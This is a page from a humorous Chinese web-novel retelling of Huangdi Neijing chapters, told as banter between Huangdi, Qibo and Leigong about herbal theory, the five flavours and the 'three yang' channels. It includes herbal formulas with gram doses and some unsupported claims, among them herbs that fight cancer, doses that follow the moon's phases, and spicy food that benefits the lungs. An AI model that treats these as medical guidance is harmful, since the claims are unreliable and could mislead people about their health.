黄帝闲来无事，就琢磨起了医学的事儿。他翻阅了一些古书，发现里头都写着：“治寒要用热药，治热得靠寒药。”这话听起来挺有道理，就像是夏天吃冰棍，冬天吃火锅，简单直接，符合常理。可咱们的帝王陛下毕竟是个爱思考的主儿，他心想：“这世界上难道就没有例外吗？那些个方士，一个个跟背书似的，难道就不能变通变通？” 于是，他就把这个问题抛给了他的私人医生——岐伯。岐伯一听，心里暗笑：“这帝王陛下还真是爱琢磨啊！”不过，岐伯可是个有真才实学的人，他连忙恭敬地回答：“陛下所言极是，一般而言，治寒确实要用热药，治热得靠寒药，这是中医的基本原则，就像咱们做饭得放盐一样，少了它就没味儿。但是，您也知道，这世界上没有两片完全相同的叶子，人体也一样，有时候啊，这原则还真得变通变通。” 黄帝一听，来了兴趣：“哦？愿闻其详。” 岐伯接着说：“比如说吧，有个人发热了，按照常理，咱们得给他用点寒性的药，像金银花、连翘啥的，清热解毒。可结果呢，这热不但没退，反而更烧了。您说这事儿怪不怪？” 黄帝点头：“怪，确实怪。” 岐伯继续：“这事儿啊，其实不怪药，也不怪人，怪就怪在咱们没找到病根儿。这热啊，有时候是实热，有时候是虚热。实热就像是锅里烧的水，加点寒药，火一灭，水就凉了。可虚热呢，就像是锅底有个小火苗，虽然不大，但一直烧着，你光加水，不解决火苗，这水啊，永远凉不下来。这时候，咱们得用点滋阴的药，像是麦冬、石斛啥的，把这小火苗灭了，热自然就退了。” 黄帝一听，恍然大悟：“原来如此，那寒症呢？为啥有时候用了热药，反而更寒了？” 岐伯微微一笑：“陛下真是聪明绝顶啊！这事儿啊，跟热症一个道理。寒症有时候是实寒，像是吃了太多冰棍，冻得直哆嗦，这时候用点热药，像是附子、干姜啥的，一吃下去，立马暖和起来。可有时候呢，这寒啊，是虚寒，就像是屋里暖气不足，你光在屋里放火盆，不解决暖气问题，这屋里啊，还是冷。这时候，咱们得用点温阳的药，像是肉桂、鹿茸啥的，把这暖气给补上，屋里自然就暖和了。” 黄帝一听，哈哈大笑：“岐伯啊岐伯，你可真是个医学大家啊！你这么一说，我就全明白了。看来，这医学啊，还真得变通变通，不能一刀切啊！” 岐伯也笑了：“陛下说得是，医学这事儿啊，就像是炒菜，同样的食材，不同的火候，不同的调料，炒出来的味儿就不一样。咱们看病啊，也得因人而异，因病而异，这样才能药到病除。” 说到这里，岐伯突然话锋一转：“不过啊，陛下，虽然咱们知道了这些道理，但用药还是得小心。中药啊，就像是厨房里的调料，用对了，就是美味佳肴；用错了，那就是黑暗料理了。所以啊，咱们还是得按照医书上的规矩来，不能乱来。” 黄帝一脸认真地说：“岐伯啊，你说这事儿挺逗，有时候给人开了寒凉的药，想着给身体降降温，结果这家伙吃完反而热得跟火炉似的；反过来，开个温热的方子，想暖暖身子，嘿，人家倒好，冷得跟冰窖一样。这是唱的哪一出啊？” 岐伯一听，嘴角勾起一抹神秘的微笑，仿佛在说：“这事儿，可有意思了，咱们得从中药的‘脾气’讲起。”于是，他清了清嗓子，开始了他的“爆笑中药课”。 “陛下啊，你想想看，咱们中药里的每一味药，那可都是有性格、有脾气的。它们有的热情如火，有的冷静如冰，还有的时而热情奔放，时而高冷傲娇。就像咱们人类一样，有的外向开朗，有的内敛深沉，对吧？” 黄帝点了点头，心想：“这岐伯，又开始他的‘拟人化’大法了，不过，确实挺有意思的。” 岐伯接着说：“就拿‘叛逆少年’——中药的药性来说吧。有些药啊，它们的主治功效，咱们称之为‘王气’，就是它们最拿手的活儿。比如黄连，那可是出了名的苦寒，清热燥湿一把好手。但你要是给了一个本来就虚寒的人吃，嘿，它可不管你三七二十一，一股脑儿地给你清热，结果寒上加寒，人家能不冷得直哆嗦嘛！” 黄帝一听，乐 了：“这黄连，简直就是中药界的‘叛逆小子’，人家明明需要的是温暖，它却偏偏要雪上加霜。” 岐伯笑着点头：“没错，还有更逗的呢。比如人参，那可是大补元气的‘暖男’，对气虚的人来说，简直就是冬日里的小太阳。但你要是给一个本来就火旺的人吃了，嘿，它也不客气，直接给你来个‘火上浇油’，热得你直跳脚。” 黄帝笑得前仰后合：“这人参，简直就是‘暖男变火炉’，让人哭笑不得啊！” 岐伯看黄帝笑得开心，也忍不住笑了：“所以啊，咱们开药，就像是在给人找合适的‘伴侣’，得看看对方的‘性格’是不是合得来。要是给错了药，那就像是给冰山送火山，给沙漠送冰川，能不出问题嘛！” 黄帝点了点头，若有所思地说：“这么说来，中药还真得讲究个‘门当户对’，不能乱点鸳鸯谱啊！” 岐伯拍了拍黄帝的肩膀，一脸神秘地说：“对头！咱们这行，不仅要会治病，还得会看‘脸色’呢！这‘脸色’可不是指人家脸上有没有痘痘，而是得瞅瞅病人的体质和病情怎么样。” 他接着举例说：“比如说，你看到一个哥们儿，满脸通红，好像火气大得很，需要清热。但你一问，哎呀妈呀，他其实是阴虚火旺！这时候你要是傻乎乎地给他苦寒的药，那可就惨了，他得跟你急！得赶紧换个滋阴降火的药才行。” 岐伯越说越起劲：“这就好比，你看到一个哥们儿，一脸怒气冲冲的样子，好像要吃人一样。但你仔细一问，嘿，他其实是饿了！这时候你要是给他个冷脸，他还不得跟你拼命啊！所以啊，咱们得学会察言观色，看看病人到底是咋了，才能对症下药嘛！” 黄帝哈哈大笑：“岐伯啊，你这比喻，简直了！中药学问深似海，看来我得好好跟你学学这‘看人下菜碟’的功夫。” 岐伯也笑了：“陛下客气了，咱们互相学习嘛。不过话说回来，中药这东西，真的是既神奇又有趣。有时候，你得像哄孩子一样哄着它们，有时候，你又得像对待老朋友一样尊重它们。只有这样，它们才会乖乖听话，帮你治病救人。” 至真要大论篇第七十四（二十六） 话说有一天，黄帝闲着没事，就琢磨起一个深奥的问题来，他自言自语道：“哎，你说这人啊，为啥有时候明明没怎么折腾，身体却还是会出现各种小状况呢？这背后的门道，咱们得好好聊聊！” 这时，岐伯悠悠地飘过来，一脸淡定地说：“哟，黄帝，您这问题问得，简直是直击灵魂深处啊！来来来，让我这老中医给您说道说道。” 黄帝一听，眼睛一亮，赶紧洗耳恭听：“快快讲来，我可是等着听高论呢！” 岐伯清了清嗓子，慢悠悠地说：“这事儿啊，得从咱们的‘五味’说起。您知道吗？咱们平时吃的酸甜苦辣咸，那可不仅仅是满足口腹之欲那么简单，它们跟咱们的五脏六腑，那可是有着不解之缘呢！” 黄帝眨巴眨巴眼睛，一脸好奇：“哦？愿闻其详。” 岐伯接着说：“您看，这酸味的东西，一入口，就像是找到了它的家一样，直奔肝脏而去。肝脏呢，就喜欢这种酸酸爽爽的感觉，就像咱们有些人，一吃柠檬就两眼放光，那叫一个酸爽！同样的道理，苦味的食物呢，就喜欢往心脏里钻，心脏觉得，哎，这苦味才是我的菜，吃了心里头那个舒坦啊！ 至于甘味，也就是甜味的东西，那可是脾脏的心头好。脾脏一见到甜食，就像是见到了久别重逢的老友，恨不得立马来个深情拥抱。所以啊，有些人一吃甜食，心情立马就好起来，那都是因为脾脏在暗地里偷着乐呢！ 还有辣味，也就是辛味，这家伙可调皮了，一进门就直奔肺部而去。肺部呢，也是个爱热闹的主儿，一见到辣味，就像是遇到了志同道合的伙伴，立马就嗨了起来。所以啊，吃辣的人，往往肺部功能都不错，呼吸起来那叫一个畅快！ 最后就是咸味了，这家伙可是个沉稳的老大哥，一进体内，就直奔肾脏而去。肾脏呢，也是喜欢这种稳重的感觉，觉得咸味才是最能体现自己气质的味道。所以啊，吃盐适量的人，肾脏往往都很健康，身体也是杠杠的！” 黄帝听完，一拍大腿：“哎呀，岐伯兄，你这解释得太到位了！这么说来，咱们平时吃东西，还得注意五味调和，不然的话，岂不是要出问题？” 岐伯点了点头：“正是如此啊！陛下，您想啊，要是天天只吃一种味道，那五脏六腑还不得闹腾起来？比如说吧，你要是天天吃柠檬，肝脏是高兴了，可其他脏器呢？它们可不乐意天天陪着你吃酸啊！所以啊，五味调和，才是养生之道啊！” 黄帝若有所思地点点头：“嗯，有理有理！那要是五味不调，会出现什么情况呢？” 岐伯叹了口气：“那可多了去了！比如说吧，你要是长期吃得太咸，肾脏负担就会加重，到时候肾炎、肾结石之类的毛病就找上门来了。反过来呢，要是吃得太甜，脾脏是高兴了，可血糖就该飙升了，糖尿病也就离你不远了。 还有啊，吃得太辣，肺部是痛快了，可胃可就遭殃了，胃溃疡、胃炎啥的，那都是常有的事。吃得太酸呢，肝脏是满足了，可胃酸过多、胃溃疡这些问题也就跟着来了。所以啊，咱们吃东西啊，还是得悠着点，别光顾着嘴巴过瘾，忘了身体的感受！” 黄帝听完，感慨万分：“哎呀，岐伯兄，你这真是一语惊醒梦中人啊！看来我以后得好好注意饮食了，不然的话，我这把老骨头可经不起折腾啊！” 岐伯笑了笑：“陛下，您这可是说到点子上了。其实啊，咱们中医养生啊，说白了就是一句话——‘药补不如食补’。您看那些中药啊，其实很多都是咱们平时吃的食材，只不过它们在某些方面有着特殊的功效罢了。 比如说吧，这枸杞，它就是一味很好的中药，同时也是咱们平时常吃的食材。您要是觉得眼睛干涩、疲劳啥的，多吃点枸杞准没错。还有啊，红枣也是一味好药，它能补 血养颜、安神助眠。您看那些爱美的小姐姐们，哪个不是把红枣当宝贝似的？ 再来说说这山药吧，它可是个健脾益肾的好东西。您要是觉得脾胃虚弱、消化不良啥的，多吃点山药准能改善。还有啊，莲子也是个好东西，它能清心安神、益肾固精。您看那些经常失眠、多梦的朋友们，多吃点莲子准能睡个好觉！” 黄帝听完，眼睛一亮：“哎呀，岐伯兄，你这么一说，我这才发现原来中药就在咱们身边啊！以后我可得好好学学这中药养生之道了！” 岐伯拍了拍黄帝的肩膀：“哈哈，黄帝大人，您这可是找对人了！我这儿啊，可是有着一套完整的中药养生秘籍呢！以后啊，咱们有空就一起探讨探讨这中药的奥秘吧！” 黄帝一脸严肃，仿佛正在思考人生大问题：“嗯，说得好！那么这个君臣佐使的配方原则，到底是怎么一回事呢？”岐伯微微一笑，仿佛早已洞悉一切：“这事儿啊，简单说，就像是组建一个超级中药战队！咱们先把病魔当成大boss，那么，直接对付这个大boss的，就是咱们的‘君药’啦，也就是战队里的老大、c位担当！而那些协助老大、一起围攻病魔的，就是‘臣药’了，他们是战队的中坚力量，缺一不可。接着呢，‘应臣之谓使’，就是那些看风向、找机会，随时准备补刀的‘使药’了，他们是战队里最灵活、最机智的小能手。所以啊，这君臣佐使，可不是说中药分什么上中下三品那么简单哦！” 黄帝一听，眼睛一亮：“哦？原来如此，那赶紧给我讲讲，这中药战队里的成员们，都是何方神圣吧！” 岐伯摸了摸下巴上的长须，开始了他的爆笑讲解：“好嘞，那咱们就先从‘君药’说起吧！君药啊，那可是中药战队里的绝对老大，就像《复仇者联盟》里的钢铁侠托尼·斯塔克，或者《海贼王》里的路飞，他们总能在关键时刻挺身而出，给病魔来个致命一击！比如说，咱们要是遇到了风寒感冒这个大boss，那麻黄就是咱们的君药了，它就像一把利剑，直接刺破寒邪的防线，让身体暖和起来，病魔自然就吓得逃跑了！” 黄帝听得津津有味：“哈哈，原来麻黄就是中药界的钢铁侠啊！那臣药呢？他们又是怎么协助君药的？” 岐伯老先生笑了笑：“臣药啊，就像是钢铁侠身边的贾维斯，或者是路飞身边的索隆和山治，他们既能打又能辅助，让战队更加完美无缺！比如，咱们在对付风寒感冒的时候，除了麻黄这个君药，还可以加上桂枝和杏仁做臣药。桂枝就像是一个温暖的拥抱，让身体感受到春天的气息，而杏仁呢，就像是一个细心的护士，帮助清理战场，把身体里的痰液和湿气都赶出去，这样一来，风寒感冒这个大boss就彻底没有立足之地了！” 黄帝笑得前仰后合：“这比喻太贴切了！那使药呢？他们又是怎么应臣的？” 岐伯眨了眨眼：“使药啊，就像是战队里的侦查兵和间谍，他们灵活多变，既能搜集情报，又能趁机偷袭。比如，咱们在治疗风热感冒的时候，可以用连翘和金银花做使药。连翘就像是一个机智的侦探，它能迅速找到风热感冒的藏身之处，而金银花呢，就像是一个勇敢的战士，它能帮助清理体内的热毒，让身体恢复到最佳状态。这样一来，风热感冒这个大boss就只能举手投降了！” 黄帝笑得合不拢嘴：“这中药战队也太有趣了吧！那要是遇到更厉害的病魔呢？比如癌症什么的？” 岐伯沉吟片刻：“对付更厉害的病魔啊，那就得组建一个超级豪华的中药战队了！比如，咱们可以用灵芝、黄芪和人参这些‘超级英雄’做君药，他们就像是《复仇者联盟》里的复仇者联盟，有着强大的力量和智慧。然后，再加上当归、枸杞和白术这些‘辅助英雄’做臣药，他们就像是钢铁侠的装甲和雷神之锤，能 让君药的力量发挥到极致。最后，再用一些像白花蛇舌草、半枝莲这样的‘间谍英雄’做使药，他们就像是隐藏在暗处的狙击手，随时准备给病魔来个致命一击！” 黄帝听得目瞪口呆：“这……这也太厉害了吧！那中药战队岂不是无敌了？” 岐伯摇了摇头：“中药战队虽然强大，但也需要咱们正确使用才行哦！就像玩游戏一样，要是操作不当，再强的战队也会输掉比赛的！所以呀，咱们在使用中药的时候，一定要根据病情和体质来选择合适的药物和剂量，这样才能让中药战队发挥出最大的威力！” 黄帝点了点头：“嗯，我明白了！看来啊，这中药还真是一门深奥的学问呢！以后我得好好学学才行！” 岐伯笑着拍了拍黄帝的肩膀：“放心吧！有我在呢！咱们一起努力，把中药战队打造得更加完美无缺吧！” 黄帝，那可是个求知欲旺盛的大佬。有一天，他突然心血来潮，对身边的岐伯大夫说：“嘿，岐伯啊，我听说这世上的药物还分上、中、下三品呢，这到底是咋回事啊？你给朕讲讲。” 岐伯一听，心想：这黄帝今儿个是咋了？平时不都忙着治理国家大事嘛，怎么突然对中药感兴趣了？不过，既然黄帝发话了，咱也不能含糊啊。于是，岐伯清了清嗓子，开始了他那幽默风趣又充满智慧的讲解。 “哎呀，黄帝大爷啊，您这问得可是真到位！这药物的上、中、下三品啊，简单来说，就是给药物分了个三六九等，看看它们到底是温顺的小绵羊，还是凶猛的大灰狼。” 黄帝一听，眼睛立马就亮了：“哦？此话怎讲？” 岐伯接着说道：“这上品药啊，那可就是中药界的‘白莲花’，纯洁无瑕，吃了不仅没副作用，还能强身健体，延年益寿。就像那人参、枸杞啥的，您要是天天泡水喝，保证您精神焕发，跟小伙子似的。” 黄帝一听，哈哈大笑：“哈哈，原来上品药是养生界的‘小鲜肉’啊！” 岐伯也跟着笑：“对对对，您这比喻太贴切了！中品药呢，就属于那种‘中规中矩’的类型了。它们虽然没有上品药那么神奇，但也能治病救人，不过得注意用法用量，用对了就是良药，用错了可能就是毒药了。比如咱们常用的甘草、当归啥的，都是中品药的代表。” 黄帝点了点头：“嗯，这中品药就像是家里的大厨，手艺不错，但得看他心情和手艺咋样，不然做出来的菜可能就不合胃口了。” 岐伯一听，笑得前仰后合：“黄帝大爷，您这比喻真是太绝了！至于下品药嘛，那可就是中药界的‘刺头’了。它们大多含有毒性，用起来得特别小心。就像那附子、乌头啥的，虽然能治病，但稍有不慎就可能让人中毒。所以啊，用下品药那可得是高手中的高手才行。” 黄帝一听，眉头微皱：“这么说来，下品药就像是武侠小说里的‘毒药秘籍’了，练好了能飞天遁地，练不好就得走火入魔了？” 岐伯一拍大腿：“对头！您这想象力真是太丰富了！不过话说回来，虽然下品药风险大，但只要用得得当，那可是能解大病大痛的利器呢。” 黄帝听了，若有所思地点了点头：“原来如此，这中药三品还真是各有千秋啊。那岐伯啊，你再给朕说说，这中药里有没有什么特别搞笑或者奇葩的药材啊？” 岐伯一听，眼睛立马就亮了：“哎呀，黄帝大爷，您这可是问到点子上了！要说中药界的奇葩，那可真是不少。比如那淫羊藿，听这名字就知道，它可是壮阳界的‘网红’。相传啊，古时候有个牧羊人，吃了这种草之后，那啥的能力就突飞猛进，连羊都追不上他了，哈哈！” 黄帝一听，笑得差点岔气：“哈哈，这淫羊藿的名字也太逗了吧！还有呢？还有没有其他奇葩药材？” 岐伯继续说道：“还有啊，那何首乌也是个奇葩。您知道为啥吗？因为这货的根块长得跟人头似的，还有头发呢！所以啊，人们就叫它‘何首乌’了。相传啊，吃了这玩意儿能长生不老呢，不过嘛，这到底是真是假，那就不得而知了。” 黄帝一听，笑得眼泪都出来了：“哈哈，这何首乌也太会‘长’了吧！还有那淫羊藿，简直就是壮阳界的‘战斗机’啊！” 岐伯也跟着笑：“可不是嘛！中药界啊，那可真是无奇不有。不过话说回来，虽然这些药材各有各的奇葩之处，但它们的药用价值那可是不容小觑的。所以啊，咱们平时用药啊，可得小心谨慎，千万别把‘小鲜肉’当成‘毒药秘籍’给用了啊！” 着至教论篇第七十五 有一天，黄帝悠哉悠哉地坐在他那金碧辉煌的明堂里，跟手底下一位名叫雷公的大夫聊起了天。 黄帝笑眯眯地问：“雷公啊，你说说看，你对这医术之道，了解几分啦？” 雷公一听，连忙恭敬地回道：“哎呀，陛下您这可是考我了。我这人吧，读书还行，医书上的字儿倒是能念个八九不离十，也勉强能理解个大概意思。但要是说到把书本上的知识灵活运用，分辨各种病症的细微差别，嘿，我这脑袋瓜子就有点儿转不过弯来了。就算勉强能分出个子丑寅卯，想要讲得明明白白，让大伙儿一听就懂，那更是难上加难。至于把医术发扬光大，让后世之人也能受益无穷，我这水平嘛，顶多也就够给朝中大臣们看看小病小痛的，要是遇上侯王贵族那种疑难杂症，我这心里头就直打鼓了。” 黄帝一听，乐了：“哈哈，雷公啊，你小子还挺有自知之明的嘛。不过，别灰心，咱们今天就好好聊聊，怎么让这医术之道更上一层楼。” 雷公赶紧点头哈腰：“对对对，陛下英明！我就想着，要是能像天上的星辰那样，根据四时的阴阳变化，把医术这门学问也搞得有规律可循，那该多好啊！让后世的医生们，一看就懂，一学就会，那才是真的造福苍生呢！” 黄帝一拍大腿：“说得好！那咱们就来个‘医学大升级’！首先啊，咱们得把医理和天文、气象结合起来，就像农民伯伯看天种地一样，医生也要学会看天气变化来治病。春天嘛，万物复苏，人就容易得些个感冒咳嗽的小病，这时候就得用些轻灵透气的药方，比如‘春风化雨汤’，用薄荷三克、菊花五克，泡水一喝，保管你神清气爽，感冒退散！” “夏天呢，热浪滚滚，人就容易上火中暑，这时候就得来个‘清凉一夏饮’，金银花十克、荷叶五克，再加冰糖少许，清热解暑，比喝冰镇饮料还管用！” “秋天嘛，干燥得很，人就容易咳嗽、便秘，这时候就得用上‘秋梨润肺膏’，秋梨一个，加上百合、麦冬各十克，慢慢熬成膏，每天一勺，润肺止咳，通便又养颜！” “到了冬天，寒风凛冽，人就容易得关节炎、感冒这些个毛病，这时候就得来个‘暖冬养生汤’，羊肉半斤，当归、生姜各十克，炖上一锅，暖身又暖心，关节炎都不怕！” 黄帝越说越起劲：“还有啊，咱们这医术啊，还得跟星辰日月扯上关系。你知道吗？古时候的人们就发现了，月亮圆缺变化跟女人的生理周期有关系，所以啊，治疗妇科病的时候，咱们也得看看月亮的脸，是圆是缺，来调整用药的分量。比如说，治疗月经不调，咱们就可以根据月亮的圆缺来加减当归、川芎这些药材的用量。” 雷公听得是目瞪口呆，连连点头：“陛下真是高见啊！这样一来，咱们这医术岂不是成了‘天文医学’了？” 黄帝哈哈大笑：“没错没错，就是要让医术和天地万物都联系起来，成为一门真正的‘大道’！这样，后世之人学起医术来，就不会再觉得枯燥难懂，反而会觉得趣味横生，乐在其中了！” 两人一番畅谈，不仅让雷公对医术之道有了更深的理解，也让在场的所有人都听得津津有味，纷纷感叹：“黄帝陛下真是咱们华夏民族的智慧之光啊！” 黄帝说：“好嘞，你小子听好了，这些个阴阳、表里、上下、雌雄的对应关系，可是医学里的精髓，别给整丢了！你得明白，真正的医道，得是上知天文星辰之变，下晓山川地理之秘，中还得通达人情世故，这样你的医术才能长长久久，流传千古。教给别人的时候，人家也信得过你，不会把你当江湖骗子。” 雷公一听，眼睛瞪得跟铜铃似的：“您这话说得，我恨不得立马拿个小本本记下来，天天念，夜夜想。您就具体给我讲讲呗？” 黄帝微微一笑，仿佛在说：“小样儿，我就知道你好这口。”于是接着说：“你听说过《阴阳传》没？那可是咱医学界的宝典啊！” 雷公挠了挠头：“师父，您这不是难为我嘛，我这刚入门的小徒弟，哪儿能知道那么高大上的玩意儿。” 黄帝哈哈一笑，拍了拍雷公的肩膀：“行，那我就给你普及普及。咱们说的‘三阳’，啊，这可不是说三个太阳那么简单，它指的是人体里的三个阳经系统，就像咱们手机里的三大运营商，缺一不可。这三阳啊，跟天上的日月星辰似的，运行起来没个定数，但一旦它们乱了套，合起伙来给你捣乱，那就是生病了，阴阳失衡了。” “想象一下，你身体里的阳气和阴气，就像是家里的暖气和空调，得平衡着来，不然不是热得冒汗就是冻得哆嗦。三阳经要是出 了问题，那就是暖气管道堵了，家里暖气不热，冬天可就难熬喽！” 雷公听得入迷，连连点头：“师父，您这比喻，绝了！那咱得怎么修这暖气管道呢？” 黄帝说：“修暖气管道嘛，咱们中医有招儿！比如针灸，你得找准穴位，就像找到暖气的阀门一样。三阳经里，手阳明大肠经有个穴位叫‘合谷’，脚阳明胃经有个‘足三里’，这些可都是调节阳气的大穴，相当于暖气系统的总开关。用对了方法，刺激这些穴位，就能让阳气顺畅起来，身体自然就舒服了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ “还有啊，草药也是好帮手。比如人参，那可是补气圣品，相当于给暖气系统加个强力泵；而黄连呢，清热解毒，就像给暖气系统装个散热片，防止过热。这两味药，一补一清，就是咱们中医的智慧所在。” 雷公听得津津有味，还不忘插科打诨：“师父，您这一说，我感觉自己快成暖气工了，专治各种暖气不热、过热的问题！” 黄帝被逗乐了：“哈哈，你小子，倒是挺有悟性。记住，医学之道，博大精深，又贴近生活。你不仅要学会治病救人，更要懂得预防，让大伙儿都健健康康的，这才是咱们中医的真正使命。” “至于《阴阳传》，那是需要你慢慢去领悟的，里面包含了天地万物的运行规律，以及人体与自然的和谐共处之道。等你医术精进，自然会有更深的体会。” 雷公他一脸好奇地问黄帝：“老大，您老是说‘三阳莫当’，这词儿听着就霸气侧漏，到底是个啥意思，给咱解释解释呗？” 黄帝一听，微微一笑，那笑容里仿佛藏着整个宇宙的智慧：“雷公啊，你这个问题问得好。‘三阳莫当’，说的可不是谁能在阳光下站多久不晒黑那么简单。它啊，是中医里一个深奥的概念，指的是人体内的三阳经——手太阳小肠经、手阳明大肠经、还有足太阳膀胱经，这三条阳气最盛的经络，如果它们不按常理出牌，同时‘火力全开’，那就像暴风雨突然来袭，不得了啦！” 黄帝接着说：“你想啊，这三阳经要是并驾齐驱，一股脑儿地往上冲，直冲头顶，那脑袋能受得了吗？轻则头疼脑热，重则可能就是中风偏瘫之类的‘巅疾’了。而如果它们一股脑儿地往下窜，影响到了下焦，比如肾啊、膀胱啊，那可能就会导致尿频、尿失禁这些‘漏病’，尴尬得不行。” “而且啊，这种三阳并至的情况，它不按套路出牌，外面看不出什么预兆，里面呢，也是一团乱麻，没有个正经的规律可循。诊断起来，既不像外感病那样有明显的寒热表现，也不像内伤病那样有固定的脏腑受损。所以啊，咱们得靠书本上的知识，结合实际情况，仔细分辨，这就是‘外无期，内无正，不中经纪，诊无上下，以书别’的意思了。” 说到这里，黄帝停顿了一下，仿佛在给雷公消化的时间，然后又笑眯眯地说：“不过嘛，你也别太担心，中医讲究的是辨证论治，只要咱们掌握了其中的门道，再复杂的病情也能找到应对之策。” 为了让读者们更能get到这个点，咱们再来个现代版的“医理小剧场”： 想象一下，你体内的三阳经就像是三条充满活力的河流，平时它们各自流淌，相安无事。但有一天，这三条河突然接到了“紧急集合”的命令，一股脑儿地往一个方向狂奔。如果它们往上冲，就像是三个熊孩子同时打开了水龙头，直接往你脑袋上冲水，那滋味，酸爽吧？要是往下冲呢，就像是家里的下水道突然失控，哗哗地往外漏水，你说尴尬不尴尬？ 但别急，中医有招！咱们可以通过针灸、推拿、中药等多种方式，来引导这些“失控的河流”回归正轨。比如，对于三阳经并至导致的头疼，咱们可以针灸手太阳小肠经上的后溪穴（就在手掌小指侧，握拳时第五掌指关节后的凹陷处），它就像是一个小小的“水龙头开关”，能帮你调节头部的气血流通。 再来说说中药，咱们可以来个“三阳调和汤”的创意配方取黄芪30克补气固表，白芍15克柔肝止痛，加上川芎10克活血行气，还有天麻10克平肝熄风。这四味药，就像是一支精干的维修队，能帮你修复三阳经“暴走”后留下的“战场”，让身体重新回到和谐的状态。 咱们再聊聊脉象。三阳并至的时候，脉象可能会显得既浮又数，就像是海浪汹涌，没有片刻安宁。这时候，咱们得静下心来，仔细感受那脉象中的微妙变化，就像是在听一首复杂多变的交响乐，每一个音符都藏着身体的秘密。 雷公一开口就是那么一股子 谦虚劲儿：“哎呀，陛下，我这医术啊，也就勉强算个疏通调理的小能手，说白了就是给病情讲讲理，说说我的看法。” 皇帝陛下一听，乐了，说：“好你个雷公，咱们就来聊聊这人体里的大学问吧。你知道不，那三阳经啊，就像是身体里的超级阳光大道，火力全开，正能量满满。可要是这三股子阳气一股脑儿地聚在一块儿，嘿，那就热闹了，跟放鞭炮似的，嘭的一声，人就给惊着了。这病来得快，去得也猛，就像夏天的雷阵雨，九窍都像是被堵上了似的，阳气满得都快溢出来了，喉咙干得能冒烟，喝水都不解渴。” “更绝的是，这阳气要是跟阴气掐上了架，上下乱窜，没个定数，轻的呢，就是拉肚子拉到怀疑人生，咱们现代人叫它‘肠胃不适’嘛。这三阳经啊，要是直接冲到了心脏这位大佬的地盘，嘿，那人啊，坐着都费劲，躺下反而舒坦些，感觉整个身体都归位了。” 这章没有结束，请点击下一页继续阅读！ 说到这儿，黄帝陛下话锋一转，变得深沉起来：“雷公啊，你说咱们这三阳经的病，不仅仅是治身体那么简单，它还能让我们窥见天地的奥秘，知道阴阳如何平衡，怎么顺应四季变化，甚至和五行学说都扯得上关系。这可是门大学问啊！” 雷公一听，赶紧正色道：“陛下所言极是，这中医之道，博大精深，咱们就拿三阳经的病来说道说道。您想啊，现在咱们不讲穴位、方剂、脉象那些高深莫测的，咱用大白话给您捋一捋。” “就说这穴位吧，三阳经上的穴位，就像是高速公路上的服务区，一个个都是调节身体机能的小能手。比如手阳明大肠经上的‘合谷穴’，现代人叫它‘虎口’，一按下去，感冒头痛都能缓解不少，感觉就像是给身体按了个重启键。咱们现代人压力大，没事儿多揉揉这些穴位，比喝啥提神饮料都管用。” “再来说说方剂，古时候的药方啊，那都是先辈们智慧的结晶。比如治疗阳明经热的‘白虎汤’，听起来就霸气侧漏吧？其实就是石膏、知母、甘草、粳米这四味药。石膏清热泻火，知母滋阴润燥，甘草调和药性，粳米养胃生津，四者合力，就像是给身体来了一场清凉的夏日雨，那叫一个舒爽。换算成现代计量，大概就是石膏30克、知母9克、甘草3克、粳米一撮（这个嘛，根据个人口味和饭量调整哈）。” 黄帝说：“哎，小子，你得记住了，说话得分场合，明面上说的话得直白，暗地里的事儿就得心里有数，别瞎嚷嚷。来来来，坐好了，我给你上一课，这可是医学界的‘至道’秘籍哦！” 雷公一听，眼睛瞪得比铜铃还大，心想：“哇塞，师父这是要传授武林秘籍的节奏啊！”于是，他赶紧正襟危坐，准备洗耳恭听。 黄帝清了清嗓子，继续说道：“你小子啊，要是学了我的东西，却不懂其中的奥妙，胡乱传授，那可是要误人子弟的。所以，我得先给你讲讲这医学里的精髓。你知道吗？人要是病了，五脏六腑受了伤，那筋骨就像被风干的腊肉，一天天消瘦下去。这时候，你说话得注意，得把病情说得明明白白，别含糊其辞，不然啊，这世上想学真本事的人，怕是要被你给带偏了。” 说到这里，黄帝话锋一转，神色凝重起来：“特别是肾这个部位，那可是人体的根本，要是它快不行了，人就像那快落山的太阳，一天不如一天，有气无力，连出门走两步都费劲，更别说处理什么人际关系了，整个就是‘宅’在家里，懒得动弹。” 听到这，雷公心里那个急啊，连忙追问：“师父，那这可咋整？有没有什么灵丹妙药能救救急？” 黄帝微微一笑，仿佛看穿了雷公的心思，慢悠悠地说：“别急，我这不正要说嘛。首先，得从日常调养做起，饮食均衡，少熬夜，多晒太阳，这都是免费的‘药方’。至于药物嘛，咱们中医讲究的是辨证施治，但我可以给你举个例子，比如六味地黄丸，那可是补肾的经典方子。” “六味地黄丸？听起来像是个甜品名儿。”雷公打趣道。 黄帝笑得更欢了：“哈哈，你小子真会开玩笑。这六味地黄丸啊，可不是吃的甜品，它是由熟地黄、山萸肉、山药、泽泻、茯苓、丹皮这六味药材精心配制而成。熟地黄滋阴补肾，山萸肉养肝涩精，山药健脾固肾，这三味药是补的；而泽泻利湿泄浊，茯苓健脾渗湿，丹皮清热凉血，这三味药则是泻的，一补一泻，恰到好处，达到阴阳平衡的效果。” “哦，原来如此，那这些药材各要多少量呢？”雷公听得津津有味，连忙追问。 “嗯，一般来说，熟地黄用24克，山萸肉和山药各用12克，泽泻、茯苓 、丹皮则各用9克。当然，具体用量还得根据病人的体质和病情来调整，这就是中医的灵活性所在。”黄帝解释道。 “师父，您这课讲得真是太生动了，我算是开了眼了！”雷公一脸崇拜地看着黄帝。 “哈哈，这只是冰山一角。中医的博大精深，可不是一朝一夕能学完的。你要记住，医者父母心，对待每一个病人都要像对待自己的亲人一样，细心观察，耐心询问，准确诊断，才能开出对症的药方。”黄帝语重心长地说。 喜欢黄帝内经爆笑讲解版。 示从容论篇第七十六 黄帝笑眯眯地说：“雷公啊，你小子整天抱着那些医书啃，要是能再广泛涉猎点杂学，把各类知识融会贯通，那可就厉害了。来，给朕说说，你最擅长的是啥？咱们人体啊，五脏六腑，什么肝心脾肺肾，胆胃大小肠，还有脾胞膀胱，再加上脑髓、鼻涕、唾沫这些，还有咱们的情绪波动，哭啊笑啊，这些水液是怎么在身体里流转的，都是人生存的根本。治病救人这事儿，你可得给我整明白了，不然误诊了，那可是要挨骂的哦！” 